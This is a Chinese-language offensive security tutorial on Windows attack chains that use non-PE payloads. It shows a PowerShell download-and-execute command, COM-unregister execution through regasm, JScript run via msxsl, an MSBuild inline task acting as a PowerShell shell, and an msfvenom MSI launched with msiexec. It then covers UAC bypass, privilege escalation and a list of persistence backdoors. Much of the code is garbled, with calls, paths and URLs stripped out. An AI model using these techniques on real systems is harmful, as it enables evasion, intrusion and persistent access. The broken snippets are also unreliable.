本文以攻击者的视野,以非PE作为载体的攻击链作为写作思路,通过对非PE文件类型,攻击方法,安全策略和权限,后门这几个方面进行简单介绍,通过本文,希望让阅读者能对该类型攻击套路有一个新的认识。
为什么是非PEPE作为Windows平台下可执行文件格式,其自身的类型划分数目较少,常见的有32位PE,64位PE以及NE、LE格式,类型有exe、dll、sys格式,长期以来,人们已经习惯于通过双击执行exe程序,而对于杀毒软件来讲,也习惯性的“擅长于”对exe进行查杀,而非PE相较于PE,人们感觉更加陌生,当然杀软也是如此。当人感觉到"陌生"时,通常会产生两种心理,一种是“警惕”,而另一种是“好奇”。当杀软感觉“陌生”时,为了减少“误报”,通常的做法就是先“放过“,尤其是对目前流行的PowerShell。
非PE类型本文讨论的非PE类型限于Windows平台,所以不会将apk、ELF等划分到这里,而会将Ccmd
powershell-execbypassIEX().DownloadString('http://')
cmd
/
下面是一个C编译
C:\Windows\\Framework64\\/unsafe/platform:x64/out:
usingSystem;
;
;
;
namespaceregsvcser
{
publicclassBypass:ServicedComponent
{
publicBypass(){("IamabasicCOMObject");}
[ComUnregisterFunction]//Thisexecutesifregistrationfails
publicstaticvoidUnRegisterClass(stringkey)
{
PowerShellps=();
("Invoke-Expression");
("payload");
();
}
}
}
通过编译为dll组件,之后通过传入给regasm(或regasm)/U参数执行卸载例程,步骤如下
$key='BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content=[]::FromBase64String($key)
$Content-EncodingByte
C:\Windows\\Framework\\/r:/target:library/out:/keyfile:
C:\Windows\\Framework\\
[OR]
C:\Windows\\Framework\\
//ExecutesUnRegisterClassIfyoudon'thavepermissions
C:\Windows\\Framework\\/
C:\Windows\\Framework\\/
//ThiscallstheUnregisterClassMethod
5.使用是windows下用于处理xsl的命令行程序(已签名),通过该程序可以执行JScript代码,点我下载。其命令行利用方式如下
与如下
xmlns:xsl=""
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user=""
functionxml(nodelist){
varr=newActiveXObject("").Run("cmd/");
().xml;
}
6.使用作为Windows和vs的生成引擎,默认系统自带,下面代码功能是创建一个PowerShell命令行。
TaskName="FragmentExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\\Framework\\"
("HelloFromFragment");
]]
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\\Framework\\"
usingSystem;
;
;
;
;
//AddForPowerShellInvocation
;
;
;
;
;
;
publicclassClassExample:Task,ITask
{
publicoverrideboolExecute(){
while(true){
("PS");
stringx=();
try
{
(RunPSCommand(x));
}
catch(Exceptione)
{
();
}
}
returntrue;
}
//BasedonJaredAtkinson'sAndJustinWarner'sWork
publicstaticstringRunPSCommand(stringcmd)
{
//Initstuff
Runspacerunspace=();
();
RunspaceInvokescriptInvoker=newRunspaceInvoke(runspace);
Pipelinepipeline=();
//Addcommands
(cmd);
//PrepPSforstringoutputandinvoke
("Out-String");
Collectionresults=();
();
//Convertrecordstostrings
StringBuilderstringBuilder=newStringBuilder();
foreach(PSObjectobjinresults)
{
(obj);
}
().Trim();
}
publicstaticvoidRunPSFile(stringscript)
{
PowerShellps=();
(script).Invoke();
}
}
]]
7.使用通过msf生产一个,利用msiexec执行。
msfvenom-fmsi-pwindows/execCMD=
#执行
msiexec/quiet/
UAC自WindowsVista开始,微软引入了完整性级别概念,用于防止”权限滥用“,权限由高到低分为
·系统级(system)
·管理员(High)
·用户(Medium)
·受限(Low)
其设计模型来自于Biba完整性模型基础上的上不可写,下不可读原则来保护数据完整性。在WindowsVista之前的系统,默认创建的管理员账户即对应完整管理员(High)级别,这个级别基本没有限制,导致可以任意添加计划任务,写关键路径,读写关键注册表、创建服务、加载驱动等等,从WindowsVista开始创建的管理员账户均在用户(Medium)级别,当UAC(默认)开启的情况下,这个级别会有很多限制,仅当程序请求管理员权限,或是触发条件则弹窗询问用户授权。
受限(Low)被应用于IE浏览器作为保护模式使用,其直接访问网页的进程会通过Host主进程代理操作系统资源,只有在Temp、Temporary、InternetFiles、Cookies和Favorites目录下的几个特定低完整性目录可以进行写操作,同时启动其他进程时弹窗询问用户。
由于微软出于兼容性、用户体验等的考虑,为减少UAC弹窗,设定了自动提权的机制,满足以下两个条件的程序,会自动提升权限
1.必须经过WindowsPublisher数字签名
2.必须位于”安全目录“中,其中”安全目录“指的是普通用户(Medium)无权修改的,包括%SystemRoot%\System32(例如,\Windows\System32)及其大多数子目录、%SystemRoot%\Ehome,以及%ProgramFiles%下的少许目录(其中包括WindowsDefer和Windows日记本)
满足上述条件的exe程序,在其应用程序配置清单中有如下配置,则进行提升。
level="highestAvailable"
/
true
上面简单介绍了UAC和完整性级别的概念,可以知道到,对关键文件、注册表、进程等的操作在Medium级别会触发UAC弹窗,当然这样直接弹窗会引起用户注意从而降低攻击的成功率,所以需要绕过,绕过方法也是基于Windows设定的"自动提升"机制,通常的操作有”DLL劫持“,”伪造"等方式,这里推荐几个不错的开源项目,1.对抗UAC机制的攻击包中有PowerShell实现的bypassUAC工具中Invoke-BypassUAC
权限上文谈到了完整性级别,对权限有了简单了解,由于攻击目标的环境受限,可能当前的登陆账户权限较低,导致攻击载荷在执行某些操作,例如,
·写高权限路径
·读写高权限注册表(例如:mimikataz)
·注入操作
·创建计划任务、服务、WMI、加载驱动等
这些操作都是存在问题的,所以需要提升权限。
提权通常这里的提权指的是low-system,medium-system,对于low到system只能有Exploit程序,这里推荐一下SecWiki,里面收集了很多历史提权漏洞。medium到system除过可使用exp,也可以通过bypassUAC到high,然后写计划任务或者添加服务的方式提权到system,还可以使用C代码形式(需high级),通过UpdateProcThreadAttribute获取父进程信息,传入CreateProcess以创建该进程的子进程,由于会继承父进程的权限,从而获取system权限的目的。
降权由于Windows是一个多用户操作系统,不同的用户有不同的环境变量和注册表项,例如desktop,programs,appdata,tmp,temp等是不同的,部分HKCU注册表也是不相同的,由于存在界面隔离的的原因,为了获取某用户当前的屏幕截图,窗口列表等信息也是需要"切换"到该用户。这里的降权包括从system-high,high-medium两种,比较通用的方法见下。
//方式1
WTSGetActiveConsoleSessionId
WTSQueryUserToken
CreateProcessAsUser
//方式2.
UpdateProcThreadAttribute+CreateProcess
后门上文描述了攻击载荷、攻击方式、策略绕过与权限等相关知识,这里假设攻击载体以及在目标上开始运行,为了保证能有长期、持续的对目标进行信息获取,做一个后门是有必要的,简单列举一下:
1.注册表启动项
2.服务启动项,服务劫持
3.dll劫持
4.fakelnk
5.计划任务
6.WMI
7.office自启路径
8.Exp(如CVE-2017-8464)
9.LogonScripts
10.COM劫持
实战中后门姿势变化万千,应该以目标使用者与环境进行选择。
最后以上是全部内容,通过本文的阅读希望能达到如前言中的目的,文中描述不当以及有明显bug的地方欢迎大家留言指出,后续的学习阅读,可参考本文列举的参考一栏。最后,感谢阅读。
参考[1].
[2].
[3].
[4].
[5].
[6].
[7].
[8].
[9].
[10].
[11].
[12].
[13].深入解析Windows操作系统第6版(上册),潘爱民译.